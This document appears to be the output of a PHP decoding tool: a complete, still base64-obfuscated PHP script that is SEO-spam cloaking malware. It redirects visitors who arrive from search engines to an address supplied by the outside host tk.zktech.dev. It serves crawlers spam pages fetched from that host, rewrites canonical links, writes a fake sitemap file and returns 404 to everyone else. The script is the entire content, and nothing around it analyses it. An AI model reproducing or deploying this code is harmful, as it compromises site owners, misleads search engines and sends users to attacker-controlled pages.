PHP Decode

<?php 
 
$HnZ39 = isset($_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]) ? $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')] : ""; 
$zD2Gl = isset($_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]) ? $_SERVER[base64_decode('UkVRVUVTVF9VUkk=')] : ""; 
$zD2Gl = str_replace(base64_decode('L2NvbnRlbnQucGhwPw=='), base64_decode('Lw=='), $zD2Gl); 
$TpDHZ = isset($_SERVER[base64_decode('SFRUUF9IT1NU')]) ? $_SERVER[base64_decode('SFRUUF9IT1NU')] : ""; 
$E_mnI = isset($_SERVER[base64_decode('UkVNT1RFX0FERFI=')]) ? $_SERVER[base64_decode('UkVNT1RFX0FERFI=')] : ""; 
$QeCIj = isset($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]) ? $_SERVER[base64_decode('SFRUUF9SRUZFUkVS')] : ""; 
$ymJbz = base64_decode('Q1k0ZXlvNnNDVWkxWFZENE1FQzY5bElmelhDcUlrWnZ1a284MEozWg=='); 
$J1nOg = base64_decode('c2l0ZW1hcC1jdXN0b20tMDAxLnhtbA=='); 
$zUGft = $_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]; 
$EEMeh = base64_decode('aHR0cHM6Ly90ay56a3RlY2guZGV2L2NvbnRlbnQucGhw') . str_replace(base64_decode('LnBocA=='),"",str_replace(base64_decode('L3Rpbi10dWM='), "", $zUGft)) . base64_decode('P2hvc3Q9') . $TpDHZ; 
$F57zf = base64_decode('aHR0cHM6Ly90ay56a3RlY2guZGV2L3NpdGVtYXAucGhw'); 
$or_sH = base64_decode('aHR0cHM6Ly90ay56a3RlY2guZGV2L2lwaW5mby5waHA='); 
$cdfp8 = base64_decode('dGluLXR1Yw=='); 
function aWJQH($QeCIj) 
{ 
$ZU28K = parse_url($QeCIj, PHP_URL_HOST); 
if (!empty($ZU28K)) { 
goto DY07V; 
} 
return false; 
DY07V: 
$SHKv_ = array(base64_decode('Z29vZ2xl'), base64_decode('YmluZw=='), base64_decode('eWFob28='), base64_decode('YmFpZHU='), base64_decode('eWFuZGV4'), base64_decode('ZHVja2R1Y2tnbw==')); 
foreach ($SHKv_ as $GJ_sJ) { 
if (!(strpos($ZU28K, $GJ_sJ) !== false)) { 
goto yDYWu; 
} 
return true; 
yDYWu: 
T5bmZ: 
} 
VkvYk: 
return false; 
} 
function t8yBk($HnZ39) 
{ 
$nHXG1 = array(base64_decode('R29vZ2xlYm90'), base64_decode('YmluZ2JvdA=='), base64_decode('U2x1cnA='), base64_decode('WWFob28hIFNsdXJw'), base64_decode('ZmFjZWJvb2tleHRlcm5hbGhpdA==')); 
foreach ($nHXG1 as $dW_3H) { 
if (!(strpos($HnZ39, $dW_3H) !== false)) { 
goto BgOP1; 
} 
return true; 
BgOP1: 
GnyKR: 
} 
P0aKd: 
return false; 
} 
function AuAtx() 
{ 
if (!empty($_SERVER[base64_decode('SFRUUFM=')]) && strtolower($_SERVER[base64_decode('SFRUUFM=')]) !== base64_decode('b2Zm')) { 
goto tfHrW; 
} 
if (isset($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9QUk9UTw==')]) && $_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9QUk9UTw==')] === base64_decode('aHR0cHM=')) { 
goto lS76n; 
} 
if (!empty($_SERVER[base64_decode('SFRUUF9GUk9OVF9FTkRfSFRUUFM=')]) && strtolower($_SERVER[base64_decode('SFRUUF9GUk9OVF9FTkRfSFRUUFM=')]) !== base64_decode('b2Zm')) { 
goto IUKkb; 
} 
goto u0PkT; 
tfHrW: 
return true; 
goto u0PkT; 
lS76n: 
return true; 
goto u0PkT; 
IUKkb: 
return true; 
u0PkT: 
return false; 
} 
function TwP93() 
{ 
if (!(isset($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')]) && !empty($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')]))) { 
goto Q1yjO; 
} 
$LzuuA = explode(base64_decode('LA=='), $_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')]); 
return trim(end($LzuuA)); 
Q1yjO: 
if (!(isset($_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')]) && !empty($_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')]))) { 
goto VRaDl; 
} 
return $_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')]; 
VRaDl: 
return $_SERVER[base64_decode('UkVNT1RFX0FERFI=')]; 
} 
function JEME3($yd6qu) 
{ 
$Qbmaw = twp93(); 
$JJEog = file_get_contents($yd6qu . base64_decode('P2lwPQ==') . $Qbmaw); 
return $JJEog; 
} 
function fUGC2($x4QlV, $fGVyX) 
{ 
$DTQqN = http_build_query($fGVyX); 
$kpDU0 = [base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('UE9TVA=='), base64_decode('aGVhZGVy') => base64_decode('Q29udGVudC10eXBlOmFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA=='), base64_decode('Y29udGVudA==') => $DTQqN, base64_decode('dGltZW91dA==') => 15 * 60]]; 
$iHjCG = stream_context_create($kpDU0); 
$pEgGf = @file_get_contents($x4QlV, false, $iHjCG); 
return $pEgGf; 
} 
function PHV9l() 
{ 
$e_q1I = base64_decode('c2l0ZW1hcC1jdXN0b20tMDAxLnhtbA=='); 
if (file_exists($e_q1I)) { 
goto AZvIl; 
} 
$J1nOg = fopen($e_q1I, base64_decode('dys=')) or die(base64_decode('VW5hYmxlIHRvIGNyZWF0ZSBzaXRlbWFwLnhtbA==')); 
$OpS1S = base64_decode('PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz5cbjx1cmxzZXQgeG1sbnM9J2h0dHA6Ly93d3cuc2l0ZW1hcHMub3JnL3NjaGVtYXMvc2l0ZW1hcC8wLjknPlxuPC91cmxzZXQ+'); 
fwrite($J1nOg, $OpS1S); 
fclose($J1nOg); 
return true; 
AZvIl: 
return true; 
} 
function oJqs5($J1nOg, $zUGft, $TpDHZ, $cdfp8, $ymJbz) 
{ 
if (Auatx()) { 
goto WE75a; 
} 
$FQTd2 = base64_decode('aHR0cA=='); 
goto d1ub6; 
WE75a: 
$FQTd2 = base64_decode('aHR0cHM='); 
d1ub6: 
if (strpos($zUGft, base64_decode('c2l0ZW1hcC1jdXN0b20tMDAx'))) { 
goto Xseud; 
} 
$Jrgb9 = file_get_contents($J1nOg . base64_decode('P21hcD0=') . $zUGft . base64_decode('JnBhdGg9') . $cdfp8 . base64_decode('Jmhvc3Q9') . $TpDHZ . base64_decode('JnByb3RvY29sPQ==') . $FQTd2 . base64_decode('JmxpY2Vuc2U9') . $ymJbz); 
goto Mu0k7; 
Xseud: 
$Jrgb9 = file_get_contents(base64_decode('c2l0ZW1hcC1jdXN0b20tMDAxLnhtbA==')); 
Mu0k7: 
header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3htbA==')); 
echo $Jrgb9; 
exit; 
} 
function Y9u6Z($w7wye) 
{ 
$xOPKA = array(); 
$EjcE3 = file_get_contents($w7wye); 
preg_match_all('/<loc>(http:.*?\.html)<\/loc>/', $EjcE3, $kYXxJ); 
if (empty($kYXxJ[1])) { 
goto ZJ2j4; 
} 
$xOPKA = $kYXxJ[1]; 
ZJ2j4: 
return $xOPKA; 
} 
function y6XYY($zUGft, $TpDHZ, $FQTd2 = 'https', $zRN63 = 'sitemap-custom-001.xml') 
{ 
$OTXHr = true; 
libxml_use_internal_errors(true); 
$J1nOg = simplexml_load_file($zRN63); 
if ($J1nOg) { 
goto T0eyA; 
} 
$OTXHr = false; 
T0eyA: 
if (!$OTXHr) { 
goto hHv2j; 
} 
$vOTXb = false; 
foreach ($J1nOg->url as $x4QlV) { 
if (!($x4QlV->loc == $FQTd2 . base64_decode('Oi8v') . $TpDHZ . $zUGft)) { 
goto tCjyI; 
} 
$vOTXb = true; 
goto lAf2k; 
tCjyI: 
rCt9E: 
} 
lAf2k: 
if (!(!$vOTXb && strpos($zUGft, base64_decode('Lmh0bWw=')))) { 
goto pAWjN; 
} 
$JYbhQ = $J1nOg->addChild(base64_decode('dXJs')); 
$JYbhQ->addChild(base64_decode('bG9j'), $FQTd2 . base64_decode('Oi8v') . $TpDHZ . $zUGft); 
pAWjN: 
goto vKb0z; 
hHv2j: 
$J1nOg = new SimpleXMLElement(base64_decode('PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48dXJsc2V0IHhtbG5zPSdodHRwOi8vd3d3LnNpdGVtYXBzLm9yZy9zY2hlbWFzL3NpdGVtYXAvMC45Jz48L3VybHNldD4=')); 
$xOPKA = Y9u6z($zRN63); 
if (!empty($xOPKA)) { 
goto PMyJz; 
} 
$JYbhQ = $J1nOg->addChild(base64_decode('dXJs')); 
$JYbhQ->addChild(base64_decode('bG9j'), $FQTd2 . base64_decode('Oi8v') . $TpDHZ . $zUGft); 
goto G93wW; 
PMyJz: 
foreach ($xOPKA as $x4QlV) { 
$JYbhQ = $J1nOg->addChild(base64_decode('dXJs')); 
$JYbhQ->addChild(base64_decode('bG9j'), $x4QlV); 
IDLYf: 
} 
qvEik: 
G93wW: 
vKb0z: 
$J1nOg->asXML($zRN63); 
} 
function O2pD9($or_sH, $EEMeh, $QeCIj, $HnZ39, $J1nOg, $zUGft, $E_mnI, $TpDHZ, $zD2Gl, $ymJbz, $mDAS6 = "") 
{ 
if (aWjqH($QeCIj) !== false) { 
goto pgQx0; 
} 
if (T8ybk($HnZ39)) { 
goto cUXyi; 
} 
header(base64_decode('SFRUUC8xLjAgNDA0IE5vdCBGb3VuZA==')); 
exit; 
goto NC0UE; 
cUXyi: 
if (!PHv9l()) { 
goto KWqGy; 
} 
if (AuATx()) { 
goto ePq2C; 
} 
$FQTd2 = base64_decode('aHR0cA=='); 
goto bBJoq; 
ePq2C: 
$FQTd2 = base64_decode('aHR0cHM='); 
bBJoq: 
y6XYY($zUGft, $TpDHZ, $FQTd2); 
$EjcE3 = file_get_contents($EEMeh . base64_decode('JnByb3RvY29sPQ==') . $FQTd2 . base64_decode('JmxpY2Vuc2U9') . $ymJbz . base64_decode('JnJlX3VybD0=') . $zD2Gl); 
$tyjRH = pathinfo($zUGft, PATHINFO_EXTENSION); 
switch ($tyjRH) { 
case base64_decode('anBn'): 
header(base64_decode('Q29udGVudC1UeXBlOiBpbWFnZS9qcGVn')); 
goto lsjSY; 
case base64_decode('cG5n'): 
header(base64_decode('Q29udGVudC1UeXBlOiBpbWFnZS9wbmc=')); 
goto lsjSY; 
case base64_decode('Y3Nz'): 
header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L2Nzcw==')); 
goto lsjSY; 
case base64_decode('anM='): 
header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0')); 
goto lsjSY; 
default: 
header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw=')); 
goto lsjSY; 
} 
ZudM2: 
lsjSY: 
$zUGft = base64_decode('aHR0cHM6Ly8=') . $_SERVER[base64_decode('SFRUUF9IT1NU')] . $_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]; 
$z0OEA = preg_replace('#<link rel=\'canonical\' href=\'(.*?)\'>#', '<link rel=\'canonical\' href=\'\'.$current_url.\'\'>', $EjcE3); 
echo $z0OEA; 
KWqGy: 
NC0UE: 
goto yp4xb; 
pgQx0: 
$x4QlV = JEME3($or_sH); 
header(base64_decode('TG9jYXRpb246IA==') . $x4QlV); 
exit; 
yp4xb: 
} 
if (preg_match('/sitemap.*\.xml$/', $zUGft)) { 
goto G1VD7; 
} 
o2PD9($or_sH, $EEMeh, $QeCIj, $HnZ39, $J1nOg, $zUGft, $E_mnI, $TpDHZ, $zD2Gl, $ymJbz); 
goto A5hFC; 
G1VD7: 
OjQs5($F57zf, $zUGft, $TpDHZ, $cdfp8, $ymJbz); ?>